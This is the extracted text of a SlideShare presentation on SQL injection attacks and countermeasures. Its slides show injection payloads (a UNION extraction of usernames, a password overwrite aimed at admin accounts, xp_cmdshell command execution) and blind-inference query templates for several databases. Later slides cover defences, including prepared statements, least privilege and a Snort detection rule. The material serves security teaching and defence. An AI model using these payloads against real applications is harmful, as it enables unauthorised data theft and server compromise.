Web application attacks using Sql injection and countermasures

4,237 views

Published on

An advanced technical presentation on attacking Web applications using sql injection technique and the countermeasures.

Published in: Technology
0 Comments
3 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
4,237
On SlideShare
0
From Embeds
0
Number of Embeds
18
Actions
Shares
0
Downloads
120
Comments
0
Likes
3
Embeds 0
No embeds

No notes for slide
  • RFID virus uses MS SQL Server commands.
  • PHP example
  • May remove this slide
  • http://sacs.ucf.edu/ccr/cct_welcome.asp
  • What is WhiteList/Blacklist input validation - explain Choose whitelist over black list it much easier to accept valid states than it is to denythem
  • This will not prevent SQL injection attack but it will minimize it. Create/Delete – you application will most likely never have to create and drop tables at runtime Elevation of privileges Views should only access data that is required for the application
  • Web application attacks using Sql injection and countermasures

    1. 1. SQL INJECTION ATTACKS Cade Zvavanjanja CISO Gainful Information SecurityIntroduction Background Techniques Prevention Demo Conclusions Questions
    2. 2. OUTLINE  Background of SQL Injection  Techniques and Examples  Preventing SQL Injection  Demo  Wrap-Up  QuestionsIntroduction Background Techniques Prevention Demo Conclusions Questions
    3. 3. BACKGROUND OF SQL INJECTIONIntroduction Background Techniques Prevention Demo Conclusions Questions
    4. 4. DATABASES: WHERE ARE THEY NOW? Fat Server Fat Client Fat Server & Fat Client Mainframes X Desktop Apps X Web Apps XIntroduction Background Techniques Prevention Demo Conclusions Questions
    5. 5. WHY IS SQL A STANDARD? Relational Database Platform Runtime Loose Interpretation Independence SemanticsIntroduction Background Techniques Prevention Demo Conclusions Questions
    6. 6. FLEXIBILITY = VULNERABILITY  Simple Injection  Decoding Error Messages  Blind Injection  Encoding Exploits  Stored Procedures ---  Programmer Error (Faulty Logic)Introduction Background Techniques Prevention Demo Conclusions Questions
    7. 7. SQL Injection TechniquesIntroduction Background Techniques Prevention Demo Conclusions Questions
    8. 8. IMPORTANT SYMBOLS‘  “Hack”--  “Comment Out”;  “End Statement”%,*  “Wildcards”
    9. 9. SQL INJECTIONDEFINITIONThe input field is modified in such a way that theDatabase returns unintended data.Sql: SELECT <column name> FROM <Table name> WHERE <logic expression>
    10. 10. EXAMPLE: DATABASE SCHEMA  Table Users  Has columns “username” and “password”  Accessed when users log in  Table Customers  Has column “phone”  Users can look up other customer phone numbers by name  Application does no input validationIntroduction Background Techniques Prevention Demo Conclusions Questions
    11. 11. RETURNING EXTRA ROWS WITH “UNION”  Query: SELECT phone FROM Customers WHERE last_name = ‘<name>’  Input: x’ UNION SELECT username FROM users WHERE ‘x’ = ‘xIntroduction Background Techniques Prevention Demo Conclusions Questions
    12. 12. MODIFYING RECORDS  Application has password changing page  SQL: UPDATE users SET password = ‘<newpassword>’ WHERE username = ‘<username>’  Input: newpassword’ WHERE username LIKE ‘%admin%’ --Introduction Background Techniques Prevention Demo Conclusions Questions
    13. 13. MS SQL SERVER  Default SQL Server setup  Defaultsystem admin account “sa” enabled  No password!!!  Supports multiple queries  “Extended stored procedures”: C/C++ DLL files  Read/writeexternal files  Access command lineIntroduction Background Techniques Prevention Demo Conclusions Questions
    14. 14. EXPLOITING SQL SERVER  Use phone look-up query again: SELECT phone FROM customers WHERE last_name = ‘<name>’  Input: ; exec master..xp_cmdshell iisreset; --Introduction Background Techniques Prevention Demo Conclusions Questions
    15. 15. DATA-MINING WITH SQL INJECTION Three classes of data-mining  In-band  Out-of-band  Inference
    16. 16. IN-BAND ATTACKS Data is included in response from the web server Could be a well rendered web page  Using UNION SELECTS Error messages
    17. 17. OUT-OF-BAND ATTACKS Data is retrieved using another communication channel:  UTL_HTTP.REQUEST  OPENROWSET  XP_SENDMAIL
    18. 18. INFERENCE ATTACKS At the core of inference is a question Action taken based upon the answer Chris Anley’s time delay:declare @s varchar(8000)select @s = db_name()if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay 0:0:5
    19. 19. INFERENCE ATTACKS…CONT: Examples:  Time Delay  Generate 200/500 responses  Response Variation  Wildly Silly Example – send mail to tech support of XYZ Corp about modem problem or monitor problem – if the call comes about a modem problem we know the answer
    20. 20. INFERENCE ATTACKS…CONT: CASE statements in SQL:SELECT CASEWHEN conditionTHEN do_one_thingELSE do_another END
    21. 21. INFERENCE THROUGH WEBSERVER RESPONSE CODES Need query that will compile fine but generate error on branch execution:SELECT CASE WHEN condition THEN 1 ELSE 1/0 END
    22. 22. INFERENCE THROUGH WEBSERVER RESPONSE CODES…CONT: Notes:  Works well with SQL Server, Oracle, DB2  MySQL returns NULL  Informix ODBC driver returns 200 – even in event of error  Response code could be 302 Redirect, etc – principle is the same.  Leaves a large number of 500 response in log files  App Environments like PL/SQL will return 404 instead of 500
    23. 23. INFERENCE THROUGH RESPONSEVARIATIONS: Parameter Splitting and Balancing Avoids 500 responses
    24. 24. PARAMETER SPLITTING ANDBALANCING ‘NGSSOFTWARE’  ‘NGSSOFTWA’+’RE’  ‘NGSSOFTWA’||’RE’  ‘NGSSOFTWA’|| (SUBSELECT RETURNS R) || ‘E’  ‘NGSSOFTWA’ + (SUBSELECT RETURNS R) + ‘E’ 2 1 +1  1 + (SUBSELECT RETURNS 1)
    25. 25. DEALING WITH VARIOUSAPPLICATION ENVIRONMENTS Cold Fusion Management  Converts “ to &quot;  Converts & to &amp;  Converts > to &gt;  Converts < to &lt;  Doubles up single quotes  Usually means attack vector is numeric input PHP often doubles single quote – magic quotes
    26. 26. DEALING WITH VARIOUSAPPLICATION ENVIRONMENTS…CONT: Rather than > use BETWEEN X AND Y Rather than & use ^ A xor BIT = C  if C is greater than A then Bit is not set  If C is less than A then Bit is set Rather than ‘A’ use CHR(65)/CHAR(65)
    27. 27. INFERENCE QUERIES… SQL Server – String data + (select case whenascii(substring((sub-query),the_byte,1))^the_bitbetween 0 and ascii(substring((sub- query),the_byte,1)) then char(known_value) else char(1/0) end) +
    28. 28. INFERENCE QUERIES… Oracle – Numeric+ (select case whenbitand(ascii(substr((sub-query),the_byte,1)), the_bit) between 1 and 255 then 0 else 1/0 endfrom dual)
    29. 29. INFERENCE QUERIES… Oracle – String data|| (select case whenbitand(ascii(substr((sub-query),the_byte,1)), the_bit)between 1 and 255 then chr(known_val) else chr(1/0) end from dual) ||
    30. 30. INFERENCE QUERIES… MySQL – Numeric+ (select case when (ascii(substring((sub- query),the_byte,1))^the_bit) between 0 and ascii(substring((sub-query),the_byte,1)) then 0 else 1 end(uses page response variation)
    31. 31. INFERENCE QUERIES… MySQL – String Data + (select case when (ascii(substring((sub- query),the_byte,1))^the_bit) between 0 and ascii(substring((sub-query),the_byte,1)) then 0 else 1 end) + ‘(one returns no recordset – the other returns all rows)
    32. 32. INFERENCE QUERIES… Informix – Numeric+ (select distinct case when bitval((SELECT distinct DECODE((select distinct (substr((sub-query),the_byte,1)) from sysmaster:informix.systables),"{",123,"|",124,"}",125,"~",12 6,"!",33,"$",36,"(",40,")",41,"*",42,",",44,"-",45,".",46,"/",47," ",32,":",58,";",59,"_",95,"",92,".",46,"?",63,"-",45,"0",48,"1", 49,"2",50,"3",51,"4",52,"5",53,"6",54,"7",55,"8",56,"9",57,"@", 64,"A",65,"B",66,"C",67,"D",68,"E",69,"F",70,"G",71,"H",72," I",73,"J",74,"K",75,"L",76,"M",77,"N",78,"O",79,"P",80,"Q",8 1,"R",82,"S",83,"T",84,"U",85,"V",86,"W",87,"X",88,"Y",89,"Z ",90,"a",97,"b",98,"c",99,"d",100,"e",101,"f",102,"g",103,"h",1 04,"i",105,"j",106,"k",107,"l",108,"m",109,"n",110,"o",111,"p", 112,"q",113,"r",114,"s",115,"t",116,"u",117,"v",118,"w",119," x",120,"y",121,"z",122,63) from sysmaster:informix.systables),the_bit) between 1 and 255 then 1 else (1/bitval(2,1)) end from sysmaster:informix.systables)-1
    33. 33. INFERENCE QUERIES… Informix – String data || (select distinct case when bitval((SELECT distinct DECODE((select distinct (substr((sub-query),the_byte,1)) from sysmaster:informix.systables),"{",123,"|",124,"}",125,"~",12 6,"!",33,"$",36,"(",40,")",41,"*",42,",",44,"-",45,".",46,"/",47," ",32,":",58,";",59,"_",95,"",92,".",46,"?",63,"-",45,"0",48,"1", 49,"2",50,"3",51,"4",52,"5",53,"6",54,"7",55,"8",56,"9",57,"@", 64,"A",65,"B",66,"C",67,"D",68,"E",69,"F",70,"G",71,"H",72," I",73,"J",74,"K",75,"L",76,"M",77,"N",78,"O",79,"P",80,"Q",8 1,"R",82,"S",83,"T",84,"U",85,"V",86,"W",87,"X",88,"Y",89,"Z ",90,"a",97,"b",98,"c",99,"d",100,"e",101,"f",102,"g",103,"h",1 04,"i",105,"j",106,"k",107,"l",108,"m",109,"n",110,"o",111,"p", 112,"q",113,"r",114,"s",115,"t",116,"u",117,"v",118,"w",119," x",120,"y",121,"z",122,63) from sysmaster:informix.systables),the_bit) between 1 and 255 then xFC else (1/bitval(2,1))::char end from sysmaster:informix.systables) ||
    34. 34. PREVENTING SQL INJECTIONIntroduction Background Techniques Prevention Demo Conclusions Questions
    35. 35. PREVENTING SQL INJECTION Input Validation Input Checking Functions Access Rights User Permissions Variable Placeholders Stored ProceduresIntroduction Background Techniques Prevention Demo Conclusions Questions
    36. 36. INPUT VALIDATION  Checks  Type  Size  Format  Range  Replace quotation marks “All input is wrong and dangerous”Introduction Background Techniques Prevention Demo Conclusions Questions
    37. 37. INPUT CHECKING FUNCTIONS  Built in character rejection $sql = “SELECT * FROM Users WHERE ID = ‘” . $_GET[‘id’] . “’”; $sql = “SELECT * FROM Users WHERE ID =” . mysql_real_escape_string($_GET[‘id’] ); $result = mysql_query($sql);Introduction Background Techniques Prevention Demo Conclusions Questions
    38. 38. ACCESS RIGHTS Web User vs. System Administrator – ‘sa’Introduction Background Techniques Prevention Demo Conclusions Questions
    39. 39. USER PERMISSIONS  Limit query access rights  SELECT  UPDATE  DROP  Restricted statement access  Global-specific  Database-specific  Table-specificIntroduction Background Techniques Prevention Demo Conclusions Questions
    40. 40. VARIABLE PLACEHOLDERS (?)  Defense from String Concatenation  Enforcing database data types PreparedStatement prep = conn.prepareStatement("SELECT * FROM USERS WHERE PASSWORD=?"); prep.setString(1, pwd);Introduction Background Techniques Prevention Demo Conclusions Questions
    41. 41. STORED PROCEDURES  Use error checking variables  Buffer direct database accessIntroduction Background Techniques Prevention Demo Conclusions Questions
    42. 42. DEMONSTRATIONIntroduction Background Techniques Prevention Demo Conclusions Questions
    43. 43. COUNTERMEASURES System Administrators  White List / Blacklist Input Validation  Least Privileges  Application firewalls Developer  StoredProcedures  Parameterized queries  Exception handling
    44. 44. WHITELIST INPUT VALIDATION UrlScan v3.0  restricts the types of HTTP requests that IIS will process [SQL Injection Headers] AppliesTo=.asp,.aspx [SQL Injection Headers Strings] -- @ ; also catches @@ alter delete drop exec insert alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection "; flow:to_server,established; SNORT uricontent:".php | .aspx | .asp"; pcre:"/(%27)|()|(--)|(%23)|(#)/i";  Create rule to check for SQL attack classtype:Web-application-attack; sid:9099; rev:5;)
    45. 45. LEAST PRIVILEGES Enforce least privileges  CREATE / DELETE  Does not guarantee security Access to portion of data  Create views
    46. 46. CONCLUSIONS  SQL Injection continues to evolve with new technologies  Dangerous Effects  Access to critical information  Updating data not meant to be updated  Exploiting DBMS to directly affect the server and its resources  Prevention of SQL Injection  Input Validation and Query Building  Permissions and Access Rights  Variable Placeholders (Prepare) and Stored ProceduresIntroduction Background Techniques Prevention Demo Conclusions Questions
    47. 47. QUESTIONS  1) What could prevent the ‘Students’ table from being dropped?  2) What is another way to prevent Injection?Introduction Background Techniques Prevention Demo Conclusions Questions
    48. 48. REFERENCES  Achour, Mehdi, Friedhelm Betz, Antony Dovgal, et al. "Chapter 27. Database Security." PHP Manual. 13 January 2005. PHP Documentation Group. 07 Apr. 2005 <http://www.php- center.de/en-html-manual/security.database.sql- injection.html>.  Dewdney, A. K. The New Turing Omnibus. New York: Henry Holt, 1989. 427-433.  "Exploits of a Mom." xkcd.com. 4 Mar. 2008 <http://xkcd.com/327/>.  Finnigan, Pete. " SQL Injection and Oracle, Part One ." SecurityFocus 21 November 2002. 07 Apr 2005 <http://www.securityfocus.com/infocus/1644>.  Harper, Mitchell. "SQL Injection Attacks: Are You Safe?." Dev Articles. 29 May. 2002. 07 Apr. 2005 <http://www.devarticles.com/c/a/MySQL/SQL-Injection- Attacks-Are-You-Safe/2/>.Introduction Background Techniques Prevention Demo Conclusions Questions
    49. 49. Thank You Tel: +236 733 782 490 +263 773 796 365 +263 -4- 733 117 Eml: info@gis.co.zw cade@gis.co.zw Web: www.gis.co.zwIntroduction Background Techniques Prevention Demo Conclusions Questions

    ×